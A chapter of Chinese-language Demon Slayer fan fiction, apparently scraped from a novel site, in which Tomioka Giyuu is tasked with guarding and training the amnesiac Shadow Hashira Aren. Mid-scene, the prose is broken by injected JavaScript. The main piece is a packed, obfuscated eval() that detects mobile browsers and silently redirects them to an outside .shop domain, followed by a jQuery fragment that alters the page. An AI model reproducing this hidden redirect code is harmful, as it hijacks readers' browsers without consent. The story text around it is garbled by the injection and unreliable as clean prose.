文趣网 > 其他小说 > 义勇桑今天也很困惑 > 11. 阿怜就交给你了
    话音落下,原本还算热闹的氛围变得安静了几分。片刻后,蝴蝶忍率先打破了沉寂:“影柱上次任务途中受了重伤,暂时无法前来哦。”

    宇髄天元闻言点了点头,脸上又恢复了那副张扬的笑容。

    “失忆的影柱?我倒是听说过一些消息,据说现在的她和以前那个礼貌疏离的样子判若两人,真有意思。”

    产屋敷耀哉被女儿们小心翼翼地搀扶着走了出来,他的身形单薄得仿佛一阵风就能吹倒。面色苍白,病容愈发明显,唯有那双眼睛充满了看破世事沉浮后留下的悲悯与安宁,似乎能够包容世间所有的苦难。

    他缓缓走到座位上跪坐着,动作缓慢轻柔,看得出身体十分虚弱。

    庭院瞬间变得安静无比,所有人都收起了各自的神色,目光恭敬地投向他,哪怕是性格最暴躁的风柱也收起了脸上的不耐烦,眼里满是敬畏。

    他轻轻咳了几声,语气依旧温和平静:“我亲爱的孩子们,今天召集你们来到这里,是有几件重要的事情和大家商量。”

    目光慢慢扫过在场的每一位柱,眼里满是信任和期待。

    “首先是第一件事,影柱的伤势已经稳定,经过蝶屋的精心照料,不日即可痊愈。只是她在交战中受过重创,醒来之后失去了大部分记忆,关于过去、鬼杀队,甚至是过去的自己,她都已经记不起来了。”

    说到这里,他的语气里多了几分凝重。

    “据忍的详细报告,影柱的战斗本能和身体素质并未受到影响,依旧保持着原本的实力,但是心理状态发生了较大的转变。”

    “同时这也是今日会议第二件事的原因,亦是召集大家来的重点。在影柱回复记忆之前,她的状态非常不稳定,可能会出现一些意外情况,所以需要有人负责她的康复训练,帮助她尽快适应现状以恢复状态。”

    “同时也要负责她的安全,防止她再次受到恶鬼的伤害,或是出现其他意外。”

    产屋敷耀哉停顿了须臾,轻轻抬眸:“那么,在座的大家,有谁愿意接下这个不情之请?”

    庭院里安静了一瞬。

    然后,几乎是同时,所有人的目光齐刷刷地转向了同一个位置。

    富冈义勇原本站在廊柱旁,保持着惯常的冷淡姿态,眼神平静地望着庭院的某个角落,仿佛刚才的那番话与他毫无干系。

    当诸多视线同事落在自己身上时,他才后知后觉地微微侧过头,视线扫过众人,那表情分明在说:为什么都看着我?

    向来与他不对付的不死川实弥嗤了一声,似乎早就料到了这个结果,抱着手臂别过脸去。宇髄天元挑挑眉,神情就像在说“这不是不明摆着的吗”。

    蝴蝶忍眼睛弯起的弧度里带着一丝意味深长,毕竟她最清楚现在的状况,也最清楚谁才是那个无论阿怜变成什么样都不会被吓跑的人。

    伊黑小芭内抚摸着谪丸没说话,但视线始终没有从富冈义勇身上离开,一旁的悲鸣屿行冥双手合十,低声念了句什么,眼角流下一滴泪,不知他是感动还是别的情绪。

    就连对一切都不太上心的时透无一郎也注意到了这边的情况,蜜璃双手捧着脸颊,小声地对着他说:“果然大家都觉得富冈先生最合适吧!”

    他面无表情地点头:“嗯,因为其他人...都不太合适。”

    这话说得很直白,不过没有一个人反驳。

    产屋敷耀哉看着这一幕,眸中浮起淡淡的温和笑意。

    “义勇。”他轻声呼唤道。

    而被呼唤的人,则微微颔首表示自己在听。

    “你与阿怜从小便是一起长大的,彼此之间的默契旁人比不了。她现在的状况,需要一个人既能理解她的处境,又不会被她的变化所动摇。”

    “与阿怜交好的忍和蜜璃都有其他要事在身,这个任务交给你,我才放心。”

    院中微风拂过,吹动义勇耳侧的发丝,他的表情依旧没什么变化,依然是那副淡然的模样。

    他的手指微微收紧了一下,那是他在认真思考时才有的小动作。

    “...她不会想让我去的。”

    蝴蝶忍的笑容微微加深:“富冈先生,现在的阿怜已经不是以前那个阿怜了哦。”

    这句话说得耐人寻味。

    义勇偏过头看了她一眼。

    沉默再次降临,这一次没有持续太久。

    “我明白了。”他说得很平淡,声音不轻不重,那双一向淡然的双眼看向主公时多了几分认真,“我会去的。”

    “保护好她,本就是我的分内之责。”

    *

    “先试试挥刀。”富冈义勇退开一步,给阿怜留出足够的空间,“不用勉强,累了的话就休息。”

    阿怜握着木刀,心里有些没底。

    没有给出挥刀次数目标的话,她该挥多少下才合适?五十下?一百下?

    咬了咬唇,她将木刀举到身前,试探着挥出第一下。

    动作是歪的,刀刃的轨迹偏离了中线,差点带得她整个人往前踉跄。她慌忙稳住重心,内心感到一丝丝小尴尬。

    太丢人了...连挥刀都挥不好,好歹以前也是柱这种级别的人啊...

    眼角的余光忍不住瞥向一旁的富冈义勇,想看看他是什么反应。

    没有任何表情,只平静地等待她挥出第二刀。

    ...这种被注视着的感觉,意外地让她很安心呢。

    阿怜深吸一口气,重新举刀,第二下比第一下好了那么一点点,至少没有歪得那么离谱。

    第三下,第四下,第五下......

    挥到二十下的时候,手臂已经开始发酸了。她咬着牙继续,额头沁出细密的汗珠,木刀在手中逐渐变得沉重起来,每一次举起都像在和无形的阻力较劲。

    第三十下,手腕一软,木刀差点飞出去。

    她下意识“啊”了一声,急忙攥紧刀柄,堪堪才稳住。

    “...够了。”

    身后传来富冈义勇的声音,阿怜转过身,微微喘着气。

    “我还能继续...”

    “握刀的姿势已经变形了,”义勇走到她面前,伸出手,“用错误的姿势挥出的刀,毫无意义。”

    阿怜愣了片刻,才反应过来他是要木刀,连忙递了过去。

    对方并未如她所想的那样接过刀,而是站到她身侧,双手覆上她的手背,一点点将她的手指拨到正确的位置。

    “拇指握在这里,食指不要用力过度,其余三指均匀用力握住刀柄。”

    他的声音很平静,刻意放缓的语速里能窥见十足的耐心。

    可惜,阿怜的注意力完全没办法集中在他教导的话语上。

    富冈先生的手,正握着,她的手。

    温热的触感传来,还有常年握刀留下的那层薄薄的茧...

    他们之间的距离近到她能感受到他羽织带起的微风...

    心跳又开始不争气的加速了,脸颊的温度一路攀升,耳根该不会也烧起来了吧!?

    他他他他他他他靠得太近了!

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17708471|208368||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    冷静,水无奈怜,冷静下来!这只是正常的教学指导!富冈先生只是认真负责而已!不要多想!

    啊,啊啊,啊啊啊。

    这根本没法冷静!!!

    “重心下沉,不要把所有的力量都压在手臂上。”那道清冷的声音从头顶传来,“用腰带动身体,刀是手臂的延伸。”

    说完,他松开手,退开一步。

    感觉到那片暖意离开的瞬间,阿怜竟生出几分不舍。

    不,不不不对!她现在应该好好练习,而不是想这些有的没的——

    她赶紧甩掉那些杂念,按照对方说的重新调整重心,并将木刀举到身前。

    “挥。”

    这一次动作流畅了许多,木刀划破空气,发出一声清凉的破空声。

    “继续。”

    阿怜一咬牙,继续一下接一下地挥刀。

    她能感觉到自己每一次挥刀都比上一次更稳,更熟练。

    富冈义勇就站在一旁,目光始终落在阿怜的动作上,偶尔她会有一两下动作的微变形,他便会开口提醒。

    “姿势太僵硬了”、“手腕再放松些”、“呼吸不要乱”。

    声音不大,却总能在她练习到快要泄气的时候恰到好处地响起。仿佛一根看不见的线,稳稳地牵着阿怜。

    挥了不知道多少下时,阿怜的手臂已经酸得快抬不起来了,汗水顺着额角滑落,她的呼吸变得急促,脚步也开始有些不稳。

    不过,木刀落下的轨迹却始终保持着笔直。

    “休息吧。”

    富冈义勇的声音再次响起,阿怜如释重负般立刻松了手,木刀啪嗒掉在地上,她弯下腰,双手撑着膝盖大口大口地喘气。

    “好累...”她含糊不清地嘟囔着,尾音不自觉染上点撒娇的意味。

    立刻意识到不对,阿怜适时地抿住了唇,把未出口的话硬生生吞了回去。

    她悄悄抬眼看身边的人,发现他走到一旁拿起水壶,然后走了回来。

    “喝点水吧。”

    水壶递到眼前,近在咫尺。

    阿怜连忙接过,指尖不小心碰到了他的手心。

    ...很温暖。

    低着头,她小口小口喝着水,不敢去看富冈先生的表情。

    温凉的水顺着喉咙滑下去,还有着一丝若有若无的甜味,或许是她的心理作用吧。

    “今天是第一次训练,就到此为止吧。”

    “明天继续的时候再加量。”

    阿怜满脑子都是“富冈先生专门给她拿的水,他人可真好!”,心思完全不在对话上。

    她捧着水壶,闷闷地嗯了一声,然后语速快于脑速地蹦出来一句话:

    “富冈先生...我今天练习得怎么样?”

    刚出口就后悔了。

    可恶的死嘴!怎么又不经过思考就问出来了...

    这不是在求表扬吗...她可是柱诶!挥了下刀就累成这样,还好意思问怎么样...

    富冈先生会不会觉得她很幼稚?

    “...还可以。”

    唉,他的语气还是那么平淡。

    阿怜也说不清自己是什么心情,有点失落,又有点庆幸。

    晨风从后院穿过,吹起阿怜的发丝和衣角。

    一旁的富冈义勇正望着远处的天空,侧脸线条被光线勾勒得利落而清隽,阳光落在他的身上,把羽织的两边的颜色映得格外分明。

    阿怜忽然间、开始期待下一次的训练了。